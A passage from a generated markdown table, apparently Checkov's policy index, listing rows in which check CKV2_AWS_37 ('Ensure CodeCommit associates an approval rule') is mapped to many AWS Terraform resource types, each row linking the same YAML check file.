[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1163 | CKV2_AWS_37 | resource | aws_cloudwatch_log_account_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1164 | CKV2_AWS_37 | resource | aws_cloudwatch_log_anomaly_detector | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1165 | CKV2_AWS_37 | resource | aws_cloudwatch_log_data_protection_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1166 | CKV2_AWS_37 | resource | aws_cloudwatch_log_delivery | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1167 | CKV2_AWS_37 | resource | aws_cloudwatch_log_delivery_destination | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1168 | CKV2_AWS_37 | resource | aws_cloudwatch_log_delivery_destination_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1169 | CKV2_AWS_37 | resource | aws_cloudwatch_log_delivery_source | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1170 | CKV2_AWS_37 | resource | aws_cloudwatch_log_destination | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1171 | CKV2_AWS_37 | resource | aws_cloudwatch_log_destination_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1172 | CKV2_AWS_37 | resource | aws_cloudwatch_log_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1173 | CKV2_AWS_37 | resource | aws_cloudwatch_log_index_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1174 | CKV2_AWS_37 | resource | aws_cloudwatch_log_metric_filter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1175 | CKV2_AWS_37 | resource | aws_cloudwatch_log_resource_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1176 | CKV2_AWS_37 | resource | aws_cloudwatch_log_stream | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1177 | CKV2_AWS_37 | resource | aws_cloudwatch_log_subscription_filter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1178 | CKV2_AWS_37 | resource | aws_cloudwatch_metric_alarm | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1179 | CKV2_AWS_37 | resource | aws_cloudwatch_metric_stream | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1180 | CKV2_AWS_37 | resource | aws_cloudwatch_query_definition | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1181 | CKV2_AWS_37 | resource | aws_codeartifact_domain | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1182 | CKV2_AWS_37 | resource | aws_codeartifact_domain_permissions_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1183 | CKV2_AWS_37 | resource | aws_codeartifact_repository | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1184 | CKV2_AWS_37 | resource | aws_codeartifact_repository_permissions_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1185 | CKV2_AWS_37 | resource | aws_codebuild_fleet | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1186 | CKV2_AWS_37 | resource | aws_codebuild_project | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1187 | CKV2_AWS_37 | resource | aws_codebuild_report_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1188 | CKV2_AWS_37 | resource | aws_codebuild_resource_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1189 | CKV2_AWS_37 | resource | aws_codebuild_source_credential | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1190 | CKV2_AWS_37 | resource | aws_codebuild_webhook | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1191 | CKV2_AWS_37 | resource | aws_codecatalyst_dev_environment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1192 | CKV2_AWS_37 | resource | aws_codecatalyst_project | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1193 | CKV2_AWS_37 | resource | aws_codecatalyst_source_repository | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1194 | CKV2_AWS_37 | resource | aws_codecommit_approval_rule_template | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1195 | CKV2_AWS_37 | resource | aws_codecommit_approval_rule_template_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1196 | CKV2_AWS_37 | resource | aws_codecommit_repository | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1197 | CKV2_AWS_37 | resource | aws_codecommit_trigger | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1198 | CKV2_AWS_37 | resource | aws_codeconnections_connection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1199 | CKV2_AWS_37 | resource | aws_codeconnections_host | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1200 | CKV2_AWS_37 | resource | aws_codedeploy_app | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1201 | CKV2_AWS_37 | resource | aws_codedeploy_deployment_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1202 | CKV2_AWS_37 | resource | aws_codedeploy_deployment_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1203 | CKV2_AWS_37 | resource | aws_codeguruprofiler_profiling_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1204 | CKV2_AWS_37 | resource | aws_codegurureviewer_repository_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1205 | CKV2_AWS_37 | resource | aws_codepipeline | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1206 | CKV2_AWS_37 | resource | aws_codepipeline_custom_action_type | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1207 | CKV2_AWS_37 | resource | aws_codepipeline_webhook | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1208 | CKV2_AWS_37 | resource | aws_codestarconnections_connection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1209 | CKV2_AWS_37 | resource | aws_codestarconnections_host | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1210 | CKV2_AWS_37 | resource | aws_codestarnotifications_notification_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1211 | CKV2_AWS_37 | resource | aws_cognito_identity_pool | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1212 | CKV2_AWS_37 | resource | aws_cognito_identity_pool_provider_principal_tag | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1213 | CKV2_AWS_37 | resource | aws_cognito_identity_pool_roles_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1214 | CKV2_AWS_37 | resource | aws_cognito_identity_provider | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1215 | CKV2_AWS_37 | resource | aws_cognito_managed_user_pool_client | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1216 | CKV2_AWS_37 | resource | aws_cognito_resource_server | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1217 | CKV2_AWS_37 | resource | aws_cognito_risk_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1218 | CKV2_AWS_37 | resource | aws_cognito_user | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1219 | CKV2_AWS_37 | resource | aws_cognito_user_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1220 | CKV2_AWS_37 | resource | aws_cognito_user_in_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1221 | CKV2_AWS_37 | resource | aws_cognito_user_pool | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1222 | CKV2_AWS_37 | resource | aws_cognito_user_pool_client | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1223 | CKV2_AWS_37 | resource | aws_cognito_user_pool_domain | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1224 | CKV2_AWS_37 | resource | aws_cognito_user_pool_ui_customization | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1225 | CKV2_AWS_37 | resource | aws_comprehend_document_classifier | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1226 | CKV2_AWS_37 | resource | aws_comprehend_entity_recognizer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1227 | CKV2_AWS_37 | resource | aws_computeoptimizer_enrollment_status | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1228 | CKV2_AWS_37 | resource | aws_computeoptimizer_recommendation_preferences | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1229 | CKV2_AWS_37 | resource | aws_config_aggregate_authorization | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1230 | CKV2_AWS_37 | resource | aws_config_config_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1231 | CKV2_AWS_37 | resource | aws_config_configuration_aggregator | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1232 | CKV2_AWS_37 | resource | aws_config_configuration_recorder | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1233 | CKV2_AWS_37 | resource | aws_config_configuration_recorder_status | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1234 | CKV2_AWS_37 | resource | aws_config_conformance_pack | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1235 | CKV2_AWS_37 | resource | aws_config_delivery_channel | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1236 | CKV2_AWS_37 | resource | aws_config_organization_conformance_pack | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1237 | CKV2_AWS_37 | resource | aws_config_organization_custom_policy_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1238 | CKV2_AWS_37 | resource | aws_config_organization_custom_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1239 | CKV2_AWS_37 | resource | aws_config_organization_managed_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1240 | CKV2_AWS_37 | resource | aws_config_remediation_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1241 | CKV2_AWS_37 | resource | aws_config_retention_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1242 | CKV2_AWS_37 | resource | aws_connect_bot_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1243 | CKV2_AWS_37 | resource | aws_connect_contact_flow | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1244 | CKV2_AWS_37 | resource | aws_connect_contact_flow_module | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1245 | CKV2_AWS_37 | resource | aws_connect_hours_of_operation | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1246 | CKV2_AWS_37 | resource | aws_connect_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1247 | CKV2_AWS_37 | resource | aws_connect_instance_storage_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1248 | CKV2_AWS_37 | resource | aws_connect_lambda_function_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1249 | CKV2_AWS_37 | resource | aws_connect_phone_number | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1250 | CKV2_AWS_37 | resource | aws_connect_queue | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1251 | CKV2_AWS_37 | resource | aws_connect_quick_connect | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1252 | CKV2_AWS_37 | resource | aws_connect_routing_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1253 | CKV2_AWS_37 | resource | aws_connect_security_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1254 | CKV2_AWS_37 | resource | aws_connect_user | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1255 | CKV2_AWS_37 | resource | aws_connect_user_hierarchy_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1256 | CKV2_AWS_37 | resource | aws_connect_user_hierarchy_structure | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1257 | CKV2_AWS_37 | resource | aws_connect_vocabulary | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1258 | CKV2_AWS_37 | resource | aws_controltower_control | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1259 | CKV2_AWS_37 | resource | aws_controltower_landing_zone | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1260 | CKV2_AWS_37 | resource | aws_costoptimizationhub_enrollment_status | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1261 | CKV2_AWS_37 | resource | aws_costoptimizationhub_preferences | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1262 | CKV2_AWS_37 | resource | aws_cur_report_definition | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1263 | CKV2_AWS_37 | resource | aws_customer_gateway | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1264 | CKV2_AWS_37 | resource | aws_customerprofiles_domain | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1265 | CKV2_AWS_37 | resource | aws_customerprofiles_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1266 | CKV2_AWS_37 | resource | aws_dataexchange_data_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1267 | 